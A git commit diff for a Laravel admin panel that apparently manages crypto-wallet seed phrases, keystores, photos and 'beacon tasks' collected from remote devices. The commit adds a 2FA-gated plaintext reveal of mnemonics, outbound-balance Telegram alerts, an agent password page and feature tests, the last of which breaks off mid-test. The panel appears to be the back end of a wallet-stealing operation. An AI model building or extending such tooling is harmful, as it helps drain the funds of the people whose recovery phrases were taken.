feat: balance change

This commit is contained in:
hashbro
2026-08-29 23:16:57 +08:00
parent e9192d5720
commit 3e87a44de3
19 changed files with 808 additions and 36 deletions
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
@@ -124,6 +125,8 @@ class DeviceController extends Controller
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
]);
}
@@ -468,13 +471,16 @@ class DeviceController extends Controller
$field = 'id';
}
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
$canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) {
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
];
})->values();
@@ -674,4 +680,21 @@ class DeviceController extends Controller
return null;
}
private function canRevealMnemonics(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->canRevealMnemonics();
}
private function googleBoundForReveal(): bool
{
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->hasGoogleBound();
}
}
@@ -17,8 +17,8 @@ class Google2faController extends Controller
$admin = auth('admin')->user();
return view('admin.security.google2fa', [
'enabled' => (int) $admin->google_auth_open === 1,
'bound' => filled($admin->google_secret),
'enabled' => $admin->requiresLoginGoogle(),
'bound' => $admin->hasGoogleBound(),
]);
}
@@ -62,6 +62,7 @@ class Google2faController extends Controller
$data = $request->validate([
'GAKey' => ['required', 'string', 'max:16'],
'GASecret' => ['required', 'string', 'max:64'],
'login_verify' => ['nullable', 'integer', 'in:0,1'],
], [
'GAKey.required' => '请输入谷歌验证码',
'GASecret.required' => '参数不完整',
@@ -76,14 +77,20 @@ class Google2faController extends Controller
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
}
$loginVerify = (int) ($data['login_verify'] ?? 0);
$admin->forceFill([
'google_auth_open' => 1,
'google_auth_open' => $loginVerify,
'google_secret' => $data['GASecret'],
])->save();
$request->session()->forget('admin_google2fa_pending_secret');
return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']);
return response()->json([
'code' => 0,
'msg' => $loginVerify === 1
? '绑定成功,下次登录需要输入谷歌验证码'
: '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证',
]);
}
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
@@ -106,18 +113,18 @@ class Google2faController extends Controller
}
$open = (int) $data['open'];
if ($open === 0) {
$code = (string) ($data['GACode'] ?? '');
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
$code = (string) ($data['GACode'] ?? '');
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
$admin->forceFill(['google_auth_open' => $open])->save();
return response()->json([
'code' => 0,
'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证',
'msg' => $open === 1
? '已开启登录谷歌验证'
: '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)',
]);
}
@@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
@@ -36,6 +38,8 @@ class MnemonicController extends Controller
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
]);
}
@@ -56,7 +60,8 @@ class MnemonicController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
@@ -68,6 +73,8 @@ class MnemonicController extends Controller
'detail_url' => route($portal.'.devices.show', $row->device_id),
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
];
})->values();
@@ -79,6 +86,54 @@ class MnemonicController extends Controller
]);
}
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
{
/** @var Admin|null $admin */
$admin = auth('admin')->user();
if ($admin === null || ! $admin->canRevealMnemonics()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $admin->hasGoogleBound()) {
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
}
$data = $request->validate([
'GACode' => ['required', 'string', 'max:16'],
], [
'GACode.required' => '请输入谷歌验证码',
]);
$throttleKey = 'mnemonic-reveal:'.$admin->id;
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
], 429);
}
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
RateLimiter::hit($throttleKey, 60);
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
RateLimiter::clear($throttleKey);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $mnemonic->id,
'mnemonic' => (string) $mnemonic->mnemonic,
],
]);
}
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
@@ -146,6 +201,23 @@ class MnemonicController extends Controller
]);
}
private function canRevealMnemonics(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->canRevealMnemonics();
}
private function googleBoundForReveal(): bool
{
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->hasGoogleBound();
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
@@ -0,0 +1,51 @@
<?php
namespace App\Http\Controllers\Agent;
use App\Http\Controllers\Controller;
use App\Models\User;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
class PasswordController extends Controller
{
public function index()
{
return view('user.password', [
'portal' => 'user',
'username' => (string) (auth('agent')->user()?->username ?? ''),
]);
}
public function update(Request $request): JsonResponse
{
/** @var User $user */
$user = $request->user('agent');
$data = $request->validate([
'current_password' => ['required', 'string'],
'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'],
], [
'current_password.required' => '请填写当前密码',
'password.required' => '请填写新密码',
'password.min' => '新密码至少 6 位',
'password.confirmed' => '两次输入的新密码不一致',
]);
if (! Hash::check($data['current_password'], $user->password)) {
return response()->json(['code' => 1, 'msg' => '当前密码不正确']);
}
if (Hash::check($data['password'], $user->password)) {
return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
}
$user->password = $data['password'];
$user->save();
$request->session()->regenerate();
return response()->json(['code' => 0, 'msg' => '密码已更新']);
}
}
+15
View File
@@ -37,4 +37,19 @@ class Admin extends Authenticatable
{
return (int) $this->status === 1;
}
public function hasGoogleBound(): bool
{
return filled($this->google_secret);
}
public function requiresLoginGoogle(): bool
{
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
}
public function canRevealMnemonics(): bool
{
return $this->isSuper();
}
}
+4 -2
View File
@@ -282,13 +282,15 @@ class TelegramNotifier
string $amount,
?string $chain = null,
?string $balance = null,
bool $inbound = true,
): void {
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
$lines = [
'✅ <b>余额入账</b>',
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
...$this->deviceHeader($deviceId),
'🪙 <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
@@ -148,13 +148,13 @@ class TokenviewMonitorService
});
}
$inbound = [];
$changes = [];
foreach ($deltas as $col => $delta) {
if ($delta > 0) {
$inbound[$col] = $delta;
if ($delta != 0.0) {
$changes[$col] = $delta;
}
}
if ($inbound === []) {
if ($changes === []) {
return;
}
@@ -162,14 +162,15 @@ class TokenviewMonitorService
$primary->refresh();
$balanceSummary = $primary->coinsSummary();
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
foreach ($inbound as $col => $delta) {
foreach ($changes as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
WalletAddress::formatAmount($col, abs($delta)),
$coin,
$balanceSummary
$balanceSummary,
$delta > 0,
);
}
}
@@ -210,6 +210,7 @@
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'laypage', 'layer'], function () {
var table = layui.table;
@@ -224,6 +225,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
});
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
return String(v == null ? '' : v)
@@ -426,6 +432,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
@if(!empty($can_reveal))
, { title: '操作', width: 110, align: 'center', templet: function (d) {
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
} }
@endif
]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
@@ -495,6 +506,12 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'mnemonics') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'reveal') revealMnemonic(obj.data);
});
}
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decrypt') {
@@ -61,6 +61,9 @@
<div class="layui-card-body">
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
<script type="text/html" id="LAY-mn-ops">
@if(!empty($can_reveal))
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>
@endif
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
@@ -69,11 +72,17 @@
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
});
function esc(v) {
return String(v == null ? '' : v)
@@ -226,7 +235,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
@@ -237,6 +246,10 @@ layui.use(['table', 'form', 'layer'], function () {
return false;
});
table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'reveal') {
revealMnemonic(obj.data);
return;
}
if (obj.event === 'wallets') {
openWallets(obj.data);
return;
@@ -0,0 +1,77 @@
<script>
window.CorunaMnemonicReveal = function (opts) {
opts = opts || {};
var layer = (window.layui && layui.layer) ? layui.layer : null;
var $ = (window.layui && layui.$) ? layui.$ : window.jQuery;
if (!layer || !$) return;
var token = opts.token || '';
var googleBound = !!opts.google_bound;
var securityUrl = opts.security_url || '';
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
return function (row) {
if (!row || !row.reveal_url) {
return layer.msg('无权查看明文');
}
if (!googleBound) {
return layer.msg('请先在「安全 → 谷歌验证」绑定。查看助记词必须验证。', {
time: 3200
}, function () {
if (securityUrl && parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(securityUrl, '谷歌验证');
}
});
}
layer.prompt({
title: '输入谷歌验证码查看明文',
formType: 0,
maxlength: 16
}, function (value, index) {
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: row.reveal_url,
method: 'POST',
data: { _token: token, GACode: value },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '验证失败', { icon: 2 });
}
layer.close(index);
var phrase = (res.data && res.data.mnemonic) || '';
layer.open({
title: '助记词明文 #' + (row.id || ''),
area: ['560px', 'auto'],
content: '<div style="padding:8px 4px;word-break:break-word;"><code style="font-size:13px;line-height:1.6;">' +
esc(phrase) + '</code></div>',
btn: ['复制', '关闭'],
yes: function (i) {
var done = function () { layer.msg('已复制'); layer.close(i); };
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(phrase).then(done).catch(function () {
window.prompt('复制助记词', phrase);
layer.close(i);
});
} else {
window.prompt('复制助记词', phrase);
layer.close(i);
}
}
});
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '验证失败', { icon: 2 });
}
});
});
};
};
</script>
@@ -6,19 +6,30 @@
<div class="layui-card">
<div class="layui-card-header">谷歌验证(Google Authenticator)</div>
<div class="layui-card-body">
<p style="margin-bottom:16px;">
当前状态:
@if($enabled)
<span style="color:#16b777;">已开启</span>
@elseif($bound)
<span style="color:#ffb800;">已绑定未开启</span>
<p style="margin-bottom:8px;">
绑定状态:
@if($bound)
<span style="color:#16b777;">已绑定</span>
@else
<span style="color:#999;">未绑定</span>
@endif
</p>
<p style="margin-bottom:16px;">
登录验证:
@if($enabled)
<span style="color:#16b777;">已开启(登录必须填验证码)</span>
@elseif($bound)
<span style="color:#ffb800;">未开启(登录不校验,查看助记词仍需验证)</span>
@else
<span style="color:#999;">未开启</span>
@endif
</p>
<p class="layui-word-aux" style="margin-bottom:16px;">
绑定后可以关闭登录验证。超级管理员查看助记词明文必须使用谷歌验证,与登录开关无关。
</p>
@if(!$bound)
<form class="layui-form" lay-filter="LAY-ga-prepare" style="max-width:480px;">
<form class="layui-form" lay-filter="LAY-ga-prepare" style="max-width:520px;">
<div class="layui-form-item">
<label class="layui-form-label">登录密码</label>
<div class="layui-input-block">
@@ -32,7 +43,7 @@
</div>
</form>
<div id="LAY-ga-bind-box" style="display:none;max-width:480px;margin-top:24px;">
<div id="LAY-ga-bind-box" style="display:none;max-width:520px;margin-top:24px;">
<div id="LAY-ga-qr" style="margin-bottom:12px;"></div>
<p style="margin-bottom:12px;">密钥:<code id="LAY-ga-secret"></code></p>
<form class="layui-form" lay-filter="LAY-ga-bind">
@@ -43,6 +54,13 @@
<input type="text" name="GAKey" required lay-verify="required" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="扫码后输入 6 位验证码">
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">登录验证</label>
<div class="layui-input-block">
<input type="checkbox" name="login_verify" value="1" title="登录时校验谷歌验证码">
<div class="layui-form-mid layui-word-aux">可不勾选。不勾选则登录不校验,之后也可再开。</div>
</div>
</div>
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn layui-btn-normal" lay-submit lay-filter="LAY-ga-bind">确认绑定</button>
@@ -51,7 +69,7 @@
</form>
</div>
@else
<form class="layui-form" style="max-width:480px;">
<form class="layui-form" style="max-width:520px;">
<div class="layui-form-item">
<label class="layui-form-label">登录密码</label>
<div class="layui-input-block">
@@ -61,15 +79,15 @@
<div class="layui-form-item">
<label class="layui-form-label">验证码</label>
<div class="layui-input-block">
<input type="text" name="GACode" id="LAY-ga-code" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="关闭/解绑时需要">
<input type="text" name="GACode" id="LAY-ga-code" class="layui-input" inputmode="numeric" autocomplete="one-time-code" placeholder="开关登录验证 / 解绑都需要">
</div>
</div>
<div class="layui-form-item">
<div class="layui-input-block">
@if($enabled)
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ga-close">关闭验证</button>
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ga-close">关闭登录验证</button>
@else
<button type="button" class="layui-btn" id="LAY-ga-open">开启验证</button>
<button type="button" class="layui-btn" id="LAY-ga-open">开启登录验证</button>
@endif
<button type="button" class="layui-btn layui-btn-danger" id="LAY-ga-unbind">解除绑定</button>
</div>
@@ -101,6 +119,7 @@ layui.use(['form', 'layer'], function () {
$('#LAY-ga-secret').text(res.secret || '');
$('#LAY-ga-secret-input').val(res.secret || '');
$('#LAY-ga-bind-box').show();
form.render('checkbox');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '请求失败', { icon: 2 });
@@ -110,10 +129,12 @@ layui.use(['form', 'layer'], function () {
});
form.on('submit(LAY-ga-bind)', function (data) {
var payload = Object.assign({}, data.field, { _token: token });
payload.login_verify = $('input[name=login_verify]').is(':checked') ? 1 : 0;
$.ajax({
url: @json(route('admin.security.google2fa.bind')),
method: 'POST',
data: Object.assign({}, data.field, { _token: token }),
data: payload,
success: function (res) {
layer.msg(res.msg || '', { icon: res.code === 0 ? 1 : 2 }, function () {
if (res.code === 0) location.reload();
@@ -151,7 +172,7 @@ layui.use(['form', 'layer'], function () {
$('#LAY-ga-close').on('click', function () { toggle(0); });
$('#LAY-ga-unbind').on('click', function () {
layer.confirm('确定解除谷歌验证绑定?', function (index) {
layer.confirm('确定解除谷歌验证绑定?解除后无法查看助记词明文。', function (index) {
$.ajax({
url: @json(route('admin.security.google2fa.unbind')),
method: 'POST',
+76
View File
@@ -0,0 +1,76 @@
@extends('admin.content')
@section('title', '修改密码')
@section('content')
<div class="layui-card">
<div class="layui-card-header">修改密码</div>
<div class="layui-card-body">
<form class="layui-form" lay-filter="LAY-password-form" style="max-width:480px;">
<div class="layui-form-item">
<label class="layui-form-label">账号</label>
<div class="layui-input-block">
<div class="layui-form-mid">{{ $username }}</div>
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">当前密码</label>
<div class="layui-input-block">
<input type="password" name="current_password" required lay-verify="required" class="layui-input" autocomplete="current-password">
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">新密码</label>
<div class="layui-input-block">
<input type="password" name="password" required lay-verify="required" class="layui-input" autocomplete="new-password" placeholder="至少 6 位">
</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">确认新密码</label>
<div class="layui-input-block">
<input type="password" name="password_confirmation" required lay-verify="required" class="layui-input" autocomplete="new-password">
</div>
</div>
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn" lay-submit lay-filter="LAY-password-save">保存</button>
</div>
</div>
</form>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['form', 'layer'], function () {
var form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
form.on('submit(LAY-password-save)', function (data) {
$.ajax({
url: @json(route('user.password.update')),
method: 'PUT',
data: Object.assign({}, data.field, { _token: token }),
success: function (res) {
layer.msg(res.msg || (res.code === 0 ? '密码已更新' : '失败'), { icon: res.code === 0 ? 1 : 2 }, function () {
if (res.code === 0) {
$('input[name=current_password], input[name=password], input[name=password_confirmation]').val('');
}
});
},
error: function (xhr) {
var body = xhr.responseJSON || {};
var msg = body.msg || body.message;
if (!msg && body.errors) {
var first = Object.values(body.errors)[0];
msg = Array.isArray(first) ? first[0] : first;
}
layer.msg(msg || '保存失败', { icon: 2 });
}
});
return false;
});
});
</script>
@endpush
+12
View File
@@ -33,6 +33,7 @@
<cite>{{ auth('agent')->user()->username ?? 'agent' }}</cite>
</a>
<dl class="layui-nav-child">
<dd style="text-align: center;"><a lay-href="{{ route('user.password.index') }}">修改密码</a></dd>
<dd layadmin-event="logout" style="text-align: center;"><a>退出</a></dd>
</dl>
</li>
@@ -107,6 +108,17 @@
</dd>
</dl>
</li>
<li data-name="account" class="layui-nav-item">
<a href="javascript:;" lay-tips="账号" lay-direction="2">
<i class="layui-icon layui-icon-password"></i>
<cite>账号</cite>
</a>
<dl class="layui-nav-child">
<dd data-name="password">
<a lay-href="{{ route('user.password.index') }}">修改密码</a>
</dd>
</dl>
</li>
</ul>
</div>
</div>
+3
View File
@@ -60,6 +60,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets');
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
->middleware('admin.super')
->name('mnemonics.reveal');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
+4
View File
@@ -12,6 +12,7 @@ use App\Http\Controllers\Admin\PhotoController;
use App\Http\Controllers\Admin\TransferRecordController;
use App\Http\Controllers\Admin\WalletAddressController;
use App\Http\Controllers\Agent\AuthController;
use App\Http\Controllers\Agent\PasswordController;
use Illuminate\Support\Facades\Route;
Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () {
@@ -22,6 +23,9 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::post('logout', [AuthController::class, 'logout'])->name('logout');
Route::get('/', [AuthController::class, 'home'])->name('home');
Route::get('password', [PasswordController::class, 'index'])->name('password.index');
Route::put('password', [PasswordController::class, 'update'])->name('password.update');
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
+23
View File
@@ -105,6 +105,29 @@ class AdminLoginTest extends TestCase
$this->assertAuthenticated('admin');
}
#[Test]
public function google2fa_bound_without_login_verify_skips_code(): void
{
$google2fa = app(AdminGoogle2fa::class);
$secret = $google2fa->generateSecret();
Admin::query()->create([
'username' => 'admin',
'password' => 'admin123',
'status' => 1,
'google_auth_open' => 0,
'google_secret' => $secret,
]);
$this->post('/admin/login', [
'username' => 'admin',
'password' => 'admin123',
])->assertOk()
->assertJson(['code' => 0]);
$this->assertAuthenticated('admin');
}
#[Test]
public function login_is_rate_limited_after_failures(): void
{
+105
View File
@@ -0,0 +1,105 @@
<?php
namespace Tests\Feature;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Hash;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AgentPasswordTest extends TestCase
{
use RefreshDatabase;
private function agent(string $password = 'secret12'): User
{
return User::query()->create([
'username' => 'okagent',
'password' => $password,
'status' => 1,
]);
}
#[Test]
public function guest_cannot_open_password_page(): void
{
$this->get(route('user.password.index'))
->assertRedirect(route('user.login'));
}
#[Test]
public function agent_can_open_password_page(): void
{
$this->actingAs($this->agent(), 'agent')
->get(route('user.password.index'))
->assertOk()
->assertSee('修改密码')
->assertSee('okagent');
}
#[Test]
public function agent_can_change_password(): void
{
$agent = $this->agent();
$this->actingAs($agent, 'agent')
->putJson(route('user.password.update'), [
'current_password' => 'secret12',
'password' => 'newpass12',
'password_confirmation' => 'newpass12',
])
->assertOk()
->assertJson(['code' => 0]);
$agent->refresh();
$this->assertTrue(Hash::check('newpass12', $agent->password));
$this->assertFalse(Hash::check('secret12', $agent->password));
$this->assertAuthenticated('agent');
}
#[Test]
public function wrong_current_password_is_rejected(): void
{
$agent = $this->agent();
$this->actingAs($agent, 'agent')
->putJson(route('user.password.update'), [
'current_password' => 'wrong-old',
'password' => 'newpass12',
'password_confirmation' => 'newpass12',
])
->assertOk()
->assertJson(['code' => 1, 'msg' => '当前密码不正确']);
$agent->refresh();
$this->assertTrue(Hash::check('secret12', $agent->password));
}
#[Test]
public function confirmation_mismatch_is_rejected(): void
{
$this->actingAs($this->agent(), 'agent')
->putJson(route('user.password.update'), [
'current_password' => 'secret12',
'password' => 'newpass12',
'password_confirmation' => 'mismatch',
])
->assertStatus(422);
}
#[Test]
public function same_password_is_rejected(): void
{
$agent = $this->agent();
$this->actingAs($agent, 'agent')
->putJson(route('user.password.update'), [
'current_password' => 'secret12',
'password' => 'secret12',
'password_confirmation' => 'secret12',
])
->assertOk()
->assertJson(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
}
}
+185
View File
@@ -0,0 +1,185 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use PragmaRX\Google2FA\Google2FA;
use Tests\TestCase;
class MnemonicRevealTest extends TestCase
{
use RefreshDatabase;
private const PHRASE = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private function storeMnemonic(): WalletMnemonic
{
$device = Device::query()->create(['device_id' => 'dev-reveal-1']);
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$row->mnemonic = self::PHRASE;
$row->save();
return $row;
}
private function bindSecret(Admin $admin): string
{
$secret = app(AdminGoogle2fa::class)->generateSecret();
$admin->forceFill([
'google_secret' => $secret,
'google_auth_open' => 0,
])->save();
return $secret;
}
private function otp(string $secret): string
{
return (new Google2FA)->getCurrentOtp($secret);
}
#[Test]
public function list_stays_masked_and_super_sees_reveal_url(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.id', $mnemonic->id)
->assertJsonPath('data.0.mnemonic', 'abandon *** about')
->assertJsonPath('data.0.can_reveal', true)
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
}
#[Test]
public function normal_admin_list_has_no_reveal(): void
{
$admin = Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
$this->storeMnemonic();
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.can_reveal', false)
->assertJsonPath('data.0.reveal_url', '');
}
#[Test]
public function super_reveals_after_google_code(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$secret = $this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => $this->otp($secret),
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.mnemonic', self::PHRASE);
}
#[Test]
public function reveal_rejects_wrong_code(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '000000',
])
->assertOk()
->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
#[Test]
public function reveal_requires_bound_google(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
